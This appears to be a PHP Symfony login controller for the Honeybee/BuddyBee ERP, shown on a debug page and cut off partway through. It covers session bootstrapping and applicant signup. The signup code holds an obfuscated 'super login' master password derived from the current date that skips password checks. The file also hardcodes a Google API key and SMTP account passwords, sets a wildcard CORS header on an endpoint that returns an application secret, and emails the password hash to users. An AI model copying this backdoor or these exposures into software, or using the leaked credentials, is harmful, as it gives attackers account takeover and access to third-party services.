src/ApplicationBundle/Modules/Authentication/Controller/UserLoginController.php line 7601

Open in your IDE?
  1. <?php
  2. namespace ApplicationBundle\Modules\Authentication\Controller;
  3. use ApplicationBundle\Constants\BuddybeeConstant;
  4. use ApplicationBundle\Constants\GeneralConstant;
  5. use ApplicationBundle\Constants\HumanResourceConstant;
  6. use ApplicationBundle\Controller\GenericController;
  7. use ApplicationBundle\Entity\EmployeeAttendance;
  8. use ApplicationBundle\Entity\PlanningItem;
  9. use ApplicationBundle\Interfaces\LoginInterface;
  10. use ApplicationBundle\Modules\Authentication\Company;
  11. use ApplicationBundle\Modules\Authentication\Constants\UserConstants; use ApplicationBundle\Modules\Api\Constants\ApiConstants;
  12. use ApplicationBundle\Modules\Authentication\Position;
  13. use ApplicationBundle\Modules\HumanResource\HumanResource;
  14. use ApplicationBundle\Modules\System\MiscActions;
  15. use ApplicationBundle\Modules\System\System;
  16. use CompanyGroupBundle\Entity\EntityApplicantDetails;
  17. use CompanyGroupBundle\Modules\UserEntity\EntityUserM;
  18. use Google_Client;
  19. use Google_Service_Oauth2;
  20. use Symfony\Component\HttpFoundation\JsonResponse;
  21. use Symfony\Component\HttpFoundation\Request;
  22. use Symfony\Component\Routing\Generator\UrlGenerator;
  23. class UserLoginController extends GenericController implements LoginInterface
  24. {
  25.     private function filterPostedSessionData(array $sessionData): array
  26.     {
  27.         $allowedKeys = [
  28.             'oAuthToken',
  29.             'locale',
  30.             'firebaseToken',
  31.             'token',
  32.             UserConstants::USER_EMPLOYEE_ID,
  33.             UserConstants::USER_ID,
  34.             UserConstants::LAST_SETTINGS_UPDATED_TS,
  35.             UserConstants::USER_LOGIN_ID,
  36.             UserConstants::USER_EMAIL,
  37.             UserConstants::USER_TYPE,
  38.             UserConstants::USER_IMAGE,
  39.             UserConstants::USER_DEFAULT_ROUTE,
  40.             UserConstants::USER_ROUTE_LIST,
  41.             UserConstants::USER_PROHIBIT_LIST,
  42.             UserConstants::USER_NAME,
  43.             UserConstants::USER_COMPANY_ID,
  44.             UserConstants::SUPPLIER_ID,
  45.             UserConstants::CLIENT_ID,
  46.             UserConstants::USER_COMPANY_ID_LIST,
  47.             UserConstants::USER_COMPANY_NAME_LIST,
  48.             UserConstants::USER_COMPANY_IMAGE_LIST,
  49.             UserConstants::USER_APP_ID,
  50.             UserConstants::USER_POSITION_LIST,
  51.             UserConstants::USER_CURRENT_POSITION,
  52.             UserConstants::ALL_MODULE_ACCESS_FLAG,
  53.             UserConstants::USER_GOC_ID,
  54.             UserConstants::USER_NOTIFICATION_ENABLED,
  55.             UserConstants::USER_NOTIFICATION_SERVER,
  56.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE,
  57.             UserConstants::IS_BUDDYBEE_RETAILER,
  58.             UserConstants::BUDDYBEE_RETAILER_LEVEL,
  59.             UserConstants::BUDDYBEE_ADMIN_LEVEL,
  60.             UserConstants::IS_BUDDYBEE_ADMIN,
  61.             UserConstants::IS_BUDDYBEE_MODERATOR,
  62.             UserConstants::APPLICATION_SECRET,
  63.             UserConstants::SESSION_SALT,
  64.             'appIdList',
  65.             'branchIdList',
  66.             'branchId',
  67.             'companyIdListByAppId',
  68.             'companyNameListByAppId',
  69.             'companyImageListByAppId',
  70.             'userAccessList',
  71.             'csToken',
  72.             'userCompanyDarkVibrantList',
  73.             'userCompanyVibrantList',
  74.             'userCompanyLightVibrantList',
  75.             'appValiditySeconds',
  76.             'appIsValidTillTime',
  77.             'lastCheckAppValidityTime',
  78.             'appValid',
  79.             'appDataCurl',
  80.             'TRIGGER_RESET_PASSWORD',
  81.             'IS_EMAIL_VERIFIED',
  82.             'LAST_REQUEST_URI_BEFORE_LOGIN',
  83.             'devAdminMode',
  84.             'productNameDisplayType',
  85.             'appId',
  86.             'APP_ID',
  87.             'appID',
  88.             'companyID',
  89.             'companyGroupID',
  90.             'userID',
  91.             'userName',
  92.         ];
  93.         $allowedMap array_fill_keys($allowedKeystrue);
  94.         $filtered = [];
  95.         foreach ($sessionData as $key => $value) {
  96.             if (isset($allowedMap[$key])) {
  97.                 $filtered[$key] = $value;
  98.             }
  99.         }
  100.         return $filtered;
  101.     }
  102.     private function filterClientSessionData(array $sessionData): array
  103.     {
  104.         foreach ([
  105.                      UserConstants::USER_DB_NAME,
  106.                      UserConstants::USER_DB_USER,
  107.                      UserConstants::USER_DB_PASS,
  108.                      UserConstants::USER_DB_HOST,
  109.                  ] as $sensitiveKey) {
  110.             if (array_key_exists($sensitiveKey$sessionData)) {
  111.                 unset($sessionData[$sensitiveKey]);
  112.             }
  113.         }
  114.         return $sessionData;
  115.     }
  116.     private function buildSafeBootstrapSessionData($session$includeLegacyExtras true): array
  117.     {
  118.         $data = [
  119.             'oAuthToken' => $session->get('oAuthToken'),
  120.             'locale' => $session->get('locale'),
  121.             'firebaseToken' => $session->get('firebaseToken'),
  122.             'token' => $session->get('token'),
  123.             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  124.             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  125.             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  126.             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  127.             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  128.             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  129.             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  130.             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  131.             UserConstants::USER_ROUTE_LIST => $session->get(UserConstants::USER_ROUTE_LIST),
  132.             UserConstants::USER_PROHIBIT_LIST => $session->get(UserConstants::USER_PROHIBIT_LIST),
  133.             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  134.             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  135.             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  136.             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  137.             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  138.             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  139.             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  140.             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  141.             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  142.             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  143.             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  144.             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  145.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  146.             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  147.             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  148.             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  149.             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  150.             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  151.             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  152.             'appIdList' => $session->get('appIdList'),
  153.             'branchIdList' => $session->get('branchIdList'null),
  154.             'branchId' => $session->get('branchId'null),
  155.             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  156.             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  157.             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  158.             'userAccessList' => $session->get('userAccessList'),
  159.             'csToken' => $session->get('csToken'),
  160.             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  161.             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  162.         ];
  163.         if ($includeLegacyExtras) {
  164.             $data['userCompanyDarkVibrantList'] = $session->get('userCompanyDarkVibrantList', []);
  165.             $data['userCompanyVibrantList'] = $session->get('userCompanyVibrantList', []);
  166.             $data['userCompanyLightVibrantList'] = $session->get('userCompanyLightVibrantList', []);
  167.             $data[UserConstants::SESSION_SALT] = $session->get(UserConstants::SESSION_SALT'');
  168.         }
  169.         return $data;
  170.     }
  171.     // marketplace: raachSolar login
  172.     public function MarketPlaceLoginAction()
  173.     {
  174.         return $this->render('@Authentication/pages/views/market_place_login.html.twig',
  175.             array(
  176.                 'page_title' => 'Login',
  177.             ));
  178.     }
  179.     // marketplace: raachSolar signup
  180.     public function MarketPlaceSignupAction()
  181.     {
  182.         return $this->render('@Authentication/pages/views/market_place_signup.html.twig',
  183.             array(
  184.                 'page_title' => 'Signup',
  185.             ));
  186.     }
  187.     // marketplace: reset password
  188.     public function MarketPlaceResetPasswordAction()
  189.     {
  190.         return $this->render('@Authentication/pages/views/market_place_reset_password.html.twig',
  191.             array(
  192.                 'page_title' => 'Reset Password',
  193.             ));
  194.     }
  195.     // marketplace: verrify code
  196.     public function MarketPlaceVerifyCodeAction()
  197.     {
  198.         return $this->render('@Authentication/pages/views/market_place_verify_code.html.twig',
  199.             array(
  200.                 'page_title' => 'verify code',
  201.             ));
  202.     }
  203.     // marketplace: vendor login
  204.     public function MarketPlaceVendorLoginAction()
  205.     {
  206.         return $this->render('@Authentication/pages/views/market_place_vendor_login.html.twig',
  207.             array(
  208.                 'page_title' => 'vendor Login',
  209.             ));
  210.     }
  211.     // marketplace: vendor signup
  212.     public function MarketPlaceVendorSignupAction()
  213.     {
  214.         return $this->render('@Authentication/pages/views/market_place_vendor_signup.html.twig',
  215.             array(
  216.                 'page_title' => 'vendor Signup',
  217.             ));
  218.     }
  219.     public function GetSessionDataForAppAction(Request $request$remoteVerify 0$version 'latest',
  220.                                                        $identifier '_default_',
  221.                                                        $refRoute '',
  222.                                                        $apiKey '_ignore_')
  223.     {
  224.         $message "";
  225.         $gocList = [];
  226.         $session $request->getSession();
  227.         if ($request->request->has('token')) {
  228.             $em_goc $this->getDoctrine()->getManager('company_group');
  229.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$request->request->get('token'))['sessionData'];
  230.             if ($to_set_session_data != null) {
  231.                 foreach ($to_set_session_data as $k => $d) {
  232.                     //check if mobile
  233.                     $session->set($k$d);
  234.                 }
  235.             }
  236.         }
  237.         if ($request->request->has('sessionData')) {
  238.             $to_set_session_data $this->filterPostedSessionData((array) $request->request->get('sessionData'));
  239.             foreach ($to_set_session_data as $k => $d) {
  240.                 //check if mobile
  241.                 $session->set($k$d);
  242.             }
  243.         }
  244.         if ($version !== 'latest') {
  245.             $session_data $this->buildSafeBootstrapSessionData($session);
  246.         } else {
  247.             $session_data $this->buildSafeBootstrapSessionData($session);
  248.         }
  249.         $response = new JsonResponse(array(
  250.             "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  251.             //            'session'=>$request->getSession(),
  252.             'session_data' => $session_data,
  253.             //            'session2'=>$_SESSION,
  254.         ));
  255.         $response->headers->set('Access-Control-Allow-Origin''*, null');
  256.         $response->headers->set('Access-Control-Allow-Methods''POST');
  257.         //        $response->setCallback('FUNCTION_CALLBACK_NAME');
  258.         return $response;
  259.     }
  260.     public function SignUpAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantDirectLogin 0)
  261.     {
  262.         if ($request->query->has('refRoute')) {
  263.             $refRoute $request->query->get('refRoute');
  264.             if ($refRoute == '8917922')
  265.                 $redirectRoute 'apply_for_consultant';
  266.         }
  267. //        if ($request->request->has('rcpscrtkn'))
  268.         if ($request->isMethod('POST')) {
  269.             if ($request->request->get('remoteVerify'0) != 1) {
  270.                 $rcptoken $request->request->get('rcpscrtkn') ?? '';
  271.                 $action 'SIGNUP';
  272.                 $check MiscActions::verifyRecaptchaEnterprise(
  273.                     $rcptoken,
  274.                     $action,              // enforce what you expect
  275.                     '6LdnzkAsAAAAAJRsPy3yq3B8iMZP55CGOOiXRglF'// the v3 site key
  276.                     'honeybee-erp',    // e.g. honeybee-erp
  277.                     'AIzaSyDZt7Zi1Qtcd13NeGa1eEGoB9kXyRKk_G8',    // keep server-only
  278.                     0.5
  279.                 );
  280.                 $session $request->getSession();
  281.                 $session->set('RCPDATA'json_encode($check));
  282.                 if (!$check['ok']) {
  283.                     $message "Could not Determine authenticity";
  284.                     if ($request->request->get('remoteVerify'0) == 1)
  285.                         return new JsonResponse(array(
  286.                             'uid' => 0,
  287.                             'session' => [],
  288.                             'success' => false,
  289.                             'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  290.                             'errorStr' => $message,
  291.                             'session_data' => [],
  292.                         ));
  293.                     else
  294.                         return $this->redirectToRoute("user_login", [
  295.                             'id' => 0,
  296.                             'oAuthData' => [],
  297.                             'refRoute' => $refRoute,
  298.                         ]);
  299.                 }
  300.             }
  301.         }
  302.         $redirectRoute 'dashboard';
  303.         if ($refRoute != '') {
  304.             if ($refRoute == '8917922')
  305.                 $redirectRoute 'apply_for_consultant';
  306.         }
  307.         if ($request->query->has('refRoute')) {
  308.             $refRoute $request->query->get('refRoute');
  309.             if ($refRoute == '8917922')
  310.                 $redirectRoute 'apply_for_consultant';
  311.         }
  312.         $message '';
  313.         $errorField '_NONE_';
  314.         if ($request->query->has('message')) {
  315.             $message $request->query->get('message');
  316.         }
  317.         if ($request->query->has('errorField')) {
  318.             $errorField $request->query->get('errorField');
  319.         }
  320.         $gocList = [];
  321.         $skipPassword 0;
  322.         $firstLogin 0;
  323.         $remember_me 0;
  324.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  325.         if ($request->isMethod('POST')) {
  326.             if ($request->request->has('remember_me'))
  327.                 $remember_me 1;
  328.         } else {
  329.             if ($request->query->has('remember_me'))
  330.                 $remember_me 1;
  331.         }
  332.         if ($encData != "")
  333.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  334.         else if ($request->query->has('spd')) {
  335.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  336.         }
  337.         $user = [];
  338.         $userType 0//nothing for now , will add supp or client if we find anything
  339.         $em_goc $this->getDoctrine()->getManager('company_group');
  340.         $em_goc->getConnection()->connect();
  341.         $gocEnabled 0;
  342.         if ($this->container->hasParameter('entity_group_enabled'))
  343.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  344.         if ($gocEnabled == 1)
  345.             $connected $em_goc->getConnection()->isConnected();
  346.         else
  347.             $connected false;
  348.         if ($connected)
  349.             $gocList $em_goc
  350.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  351.                 ->findBy(
  352.                     array(
  353.                         'active' => 1
  354.                     )
  355.                 );
  356.         $gocDataList = [];
  357.         $gocDataListForLoginWeb = [];
  358.         $gocDataListByAppId = [];
  359.         foreach ($gocList as $entry) {
  360.             $d = array(
  361.                 'name' => $entry->getName(),
  362.                 'id' => $entry->getId(),
  363.                 'appId' => $entry->getAppId(),
  364.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  365.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  366.                 'dbName' => $entry->getDbName(),
  367.                 'dbUser' => $entry->getDbUser(),
  368.                 'dbPass' => $entry->getDbPass(),
  369.                 'dbHost' => $entry->getDbHost(),
  370.                 'companyRemaining' => $entry->getCompanyRemaining(),
  371.                 'companyAllowed' => $entry->getCompanyAllowed(),
  372.             );
  373.             $gocDataList[$entry->getId()] = $d;
  374.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  375.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  376.             $gocDataListByAppId[$entry->getAppId()] = $d;
  377.         }
  378.         $gocDbName '';
  379.         $gocDbUser '';
  380.         $gocDbPass '';
  381.         $gocDbHost '';
  382.         $gocId 0;
  383.         $hasGoc 0;
  384.         $userId 0;
  385.         $userCompanyId 0;
  386.         $specialLogin 0;
  387.         $supplierId 0;
  388.         $applicantId 0;
  389.         $isApplicantLogin 0;
  390.         $clientId 0;
  391.         $cookieLogin 0;
  392.         if ($request->request->has('gocId')) {
  393.             $hasGoc 1;
  394.             $gocId $request->request->get('gocId');
  395.         }
  396.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  397.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  398.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  399.         $signUpUserType 0;
  400.         $em_goc $this->getDoctrine()->getManager('company_group');
  401.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $cookieLogin == 1) {
  402.             ///super login
  403.             $todayDt = new \DateTime();
  404. //            $mp='_eco_';
  405.             $mp $todayDt->format("\171\x6d\x64");
  406.             if ($request->request->get('password') == $mp)
  407.                 $skipPassword 1;
  408.             $signUpUserType $request->request->get('signUpUserType'8);
  409.             $userData = [
  410.                 'userType' => $signUpUserType,
  411.                 'userId' => 0,
  412.                 'gocId' => 0,
  413.                 'appId' => 0,
  414.             ];//properlyformatted data
  415.             $first_name '';
  416.             $last_name '';
  417.             $email '';
  418.             $userName '';
  419.             $password '';
  420.             $phone '';
  421.             if ($request->request->has('firstname')) $first_name $request->request->get('firstname');
  422.             if ($request->request->has('lastname')) $last_name $request->request->get('lastname');
  423.             if ($request->request->has('email')) $email $request->request->get('email');
  424.             if ($request->request->has('password')) $password $request->request->get('password');
  425.             if ($request->request->has('username')) $userName $request->request->get('username');
  426.             if ($request->request->has('phone')) $phone $request->request->get('phone''');
  427.             if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  428.                 $oAuthEmail $email;
  429.                 $oAuthData = [
  430.                     'email' => $email,
  431.                     'phone' => $phone,
  432.                     'uniqueId' => '',
  433.                     'image' => '',
  434.                     'emailVerified' => '',
  435.                     'name' => $first_name ' ' $last_name,
  436.                     'type' => '0',
  437.                     'token' => '',
  438.                 ];
  439.                 $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  440.                     [
  441.                         'oAuthEmail' => $oAuthEmail
  442.                     ]
  443.                 );
  444.                 if (!$isApplicantExist)
  445.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  446.                         [
  447.                             'email' => $oAuthEmail
  448.                         ]
  449.                     );
  450.                 if (!$isApplicantExist)
  451.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  452.                         [
  453.                             'username' => $userName
  454.                         ]
  455.                     );
  456.                 if ($isApplicantExist) {
  457.                     if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  458.                     } else {
  459.                         $message "Email/User Already Exists";
  460.                         if ($request->request->get('remoteVerify'0) == 1)
  461.                             return new JsonResponse(array(
  462.                                 'uid' => $isApplicantExist->getApplicantId(),
  463.                                 'session' => [],
  464.                                 'success' => false,
  465.                                 'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  466.                                 'errorStr' => $message,
  467.                                 'session_data' => [],
  468.                             ));
  469.                         else
  470.                             return $this->redirectToRoute("user_login", [
  471.                                 'id' => $isApplicantExist->getApplicantId(),
  472.                                 'oAuthData' => $oAuthData,
  473.                                 'refRoute' => $refRoute,
  474.                             ]);
  475.                     }
  476.                 }
  477.                 $img $oAuthData['image'];
  478.                 $email $oAuthData['email'];
  479. //                $userName = explode('@', $email)[0];
  480.                 //now check if same username exists
  481.                 $username_already_exist 0;
  482.                 $newApplicant null;
  483.                 if ($isApplicantExist) {
  484.                     $newApplicant $isApplicantExist;
  485.                 } else
  486.                     $newApplicant = new EntityApplicantDetails();
  487.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  488.                 $newApplicant->setEmail($email);
  489.                 $newApplicant->setUserName($userName);
  490.                 $newApplicant->setFirstname($first_name);
  491.                 $newApplicant->setLastname($last_name);
  492.                 $newApplicant->setOAuthEmail($oAuthEmail);
  493.                 $newApplicant->setPhone($phone);
  494.                 if ($systemType == '_SOPHIA_')
  495.                     $newApplicant->setIsEmailVerified(1);
  496.                 else
  497.                     $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  498.                 $newApplicant->setAccountStatus(1);
  499. //                $newUser->setSalt(uniqid(mt_rand()));
  500.                 //salt will be username
  501. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  502.                 $salt uniqid(mt_rand());
  503.                 $encodedPassword $this->container->get('sha256salted_encoder')->encodePassword($password$salt);
  504.                 $newApplicant->setPassword($encodedPassword);
  505.                 $newApplicant->setSalt($salt);
  506.                 $newApplicant->setTempPassword('');
  507. //                $newApplicant->setTempPassword($password.'_'.$salt);
  508.                 $newApplicant->setImage($img);
  509.                 $newApplicant->setIsConsultant(0);
  510.                 $newApplicant->setIsTemporaryEntry(0);
  511.                 $newApplicant->setTriggerResetPassword(0);
  512.                 $newApplicant->setApplyForConsultant(0);
  513.                 $newApplicant->setImage($oAuthData['image'] ?? '');
  514.                 $otp random_int(100000999999);
  515.                 $newApplicant->setEmailVerificationHash($otp);
  516.                 $em_goc->persist($newApplicant);
  517.                 $em_goc->flush();
  518.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  519.                     if ($systemType == '_BUDDYBEE_') {
  520.                         $bodyHtml '';
  521.                         $bodyTemplate 'ApplicationBundle:email/templates:buddybeeRegistrationComplete.html.twig';
  522.                         $bodyData = array(
  523.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  524.                             'email' => $userName,
  525.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  526.                             'password' => $newApplicant->getTempPassword(),
  527.                         );
  528.                         $attachments = [];
  529.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  530. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  531.                         $new_mail $this->get('mail_module');
  532.                         $new_mail->sendMyMail(array(
  533.                             'senderHash' => '_CUSTOM_',
  534.                             //                        'senderHash'=>'_CUSTOM_',
  535.                             'forwardToMailAddress' => $forwardToMailAddress,
  536.                             'subject' => 'Welcome to BuddyBee ',
  537. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  538.                             'attachments' => $attachments,
  539.                             'toAddress' => $forwardToMailAddress,
  540.                             'fromAddress' => 'registration@buddybee.eu',
  541.                             'userName' => 'registration@buddybee.eu',
  542.                             'password' => 'Y41dh8g0112',
  543.                             'smtpServer' => 'smtp.hostinger.com',
  544.                             'smtpPort' => 465,
  545. //                            'emailBody' => $bodyHtml,
  546.                             'mailTemplate' => $bodyTemplate,
  547.                             'templateData' => $bodyData,
  548. //                        'embedCompanyImage' => 1,
  549. //                        'companyId' => $companyId,
  550. //                        'companyImagePath' => $company_data->getImage()
  551.                         ));
  552.                     } else {
  553.                         $bodyHtml '';
  554.                         $bodyTemplate 'ApplicationBundle:email/user:applicant_login.html.twig';
  555.                         $bodyData = array(
  556.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  557.                             'email' => 'APP-' $userName,
  558.                             'password' => $newApplicant->getPassword(),
  559.                         );
  560.                         $attachments = [];
  561.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  562. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  563.                         $new_mail $this->get('mail_module');
  564.                         $new_mail->sendMyMail(array(
  565.                             'senderHash' => '_CUSTOM_',
  566.                             //                        'senderHash'=>'_CUSTOM_',
  567.                             'forwardToMailAddress' => $forwardToMailAddress,
  568.                             'subject' => 'Applicant Registration on Honeybee',
  569. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  570.                             'attachments' => $attachments,
  571.                             'toAddress' => $forwardToMailAddress,
  572.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  573.                             'userName' => 'accounts@ourhoneybee.eu',
  574.                             'password' => 'Honeybee@0112',
  575.                             'smtpServer' => 'smtp.hostinger.com',
  576.                             'smtpPort' => 465,
  577.                             'emailBody' => $bodyHtml,
  578.                             'mailTemplate' => $bodyTemplate,
  579.                             'templateData' => $bodyData,
  580. //                        'embedCompanyImage' => 1,
  581. //                        'companyId' => $companyId,
  582. //                        'companyImagePath' => $company_data->getImage()
  583.                         ));
  584.                     }
  585.                 }
  586.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  587.                     $modifiedRequest Request::create(
  588.                         '',
  589.                         'GET',
  590.                         [
  591.                             'id' => $newApplicant->getApplicantId(),
  592.                             'oAuthData' => $oAuthData,
  593.                             'refRoute' => $refRoute,
  594.                             'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  595.                         ]
  596.                     );
  597.                     $modifiedRequest->setSession($request->getSession());
  598.                     return $this->doLoginAction($modifiedRequest);
  599.                 } else
  600.                     return $this->redirectToRoute("core_login", [
  601.                         'id' => $newApplicant->getApplicantId(),
  602.                         'oAuthData' => $oAuthData,
  603.                         'refRoute' => $refRoute,
  604.                         'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  605.                     ]);
  606.             }
  607. //            if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  608. //
  609. //                $oAuthEmail = $email;
  610. //
  611. //
  612. //                $oAuthData = [
  613. //                    'email' => $email,
  614. //                    'phone' => $phone,
  615. //                    'uniqueId' => '',
  616. //                    'image' => '',
  617. //                    'emailVerified' => '',
  618. //                    'name' => $first_name . ' ' . $last_name,
  619. //                    'type' => '0',
  620. //                    'token' => '',
  621. //                ];
  622. //
  623. //
  624. //                $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  625. //                    [
  626. //                        'oAuthEmail' => $oAuthEmail
  627. //                    ]
  628. //                );
  629. //                if (!$isApplicantExist)
  630. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  631. //                        [
  632. //                            'email' => $oAuthEmail
  633. //                        ]
  634. //                    );
  635. //                if (!$isApplicantExist)
  636. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  637. //                        [
  638. //                            'username' => $userName
  639. //                        ]
  640. //                    );
  641. //
  642. //
  643. //                if ($isApplicantExist) {
  644. //                    if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  645. //
  646. //                    } else {
  647. //                        $message = "Email/User Already Exists";
  648. //                        if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  649. //                            return new JsonResponse(array(
  650. //                                'uid' => $isApplicantExist->getApplicantId(),
  651. //                                'session' => [],
  652. //                                'success' => false,
  653. //                                'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  654. //                                'errorStr' => $message,
  655. //                                'session_data' => [],
  656. //
  657. //                            ));
  658. //                        else
  659. //                            return $this->redirectToRoute("user_login", [
  660. //                                'id' => $isApplicantExist->getApplicantId(),
  661. //                                'oAuthData' => $oAuthData,
  662. //                                'refRoute' => $refRoute,
  663. //                            ]);
  664. //                    }
  665. //                }
  666. //
  667. //
  668. //                $img = $oAuthData['image'];
  669. //
  670. //                $email = $oAuthData['email'];
  671. ////                $userName = explode('@', $email)[0];
  672. //                //now check if same username exists
  673. //
  674. //                $username_already_exist = 0;
  675. //
  676. //                $newApplicant = null;
  677. //
  678. //                if ($isApplicantExist) {
  679. //                    $newApplicant = $isApplicantExist;
  680. //                } else
  681. //                    $newApplicant = new EntityApplicantDetails();
  682. //
  683. //
  684. //                $newApplicant->setActualRegistrationAt(new \DateTime());
  685. //                $newApplicant->setEmail($email);
  686. //                $newApplicant->setUserName($userName);
  687. //
  688. //                $newApplicant->setFirstname($first_name);
  689. //                $newApplicant->setLastname($last_name);
  690. //                $newApplicant->setOAuthEmail($oAuthEmail);
  691. //                $newApplicant->setPhone($phone);
  692. //
  693. //                $newApplicant->setIsEmailVerified(0);
  694. //                if ($systemType == '_SOPHIA_')
  695. //                    $newApplicant->setIsEmailVerified(1);
  696. //                else
  697. //                    $newApplicant->setIsEmailVerified(0);
  698. //                $newApplicant->setAccountStatus(1);
  699. //
  700. ////                $newUser->setSalt(uniqid(mt_rand()));
  701. //
  702. //                //salt will be username
  703. ////                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  704. //
  705. //                $salt = uniqid(mt_rand());
  706. //                $encodedPassword = $this->container->get('sha256salted_encoder')->encodePassword($password, $salt);
  707. //                $newApplicant->setPassword($encodedPassword);
  708. //                $newApplicant->setSalt($salt);
  709. //                $newApplicant->setTempPassword('');
  710. ////                $newApplicant->setTempPassword($password.'_'.$salt);
  711. //
  712. //                $newApplicant->setImage($img);
  713. //                $newApplicant->setIsConsultant(0);
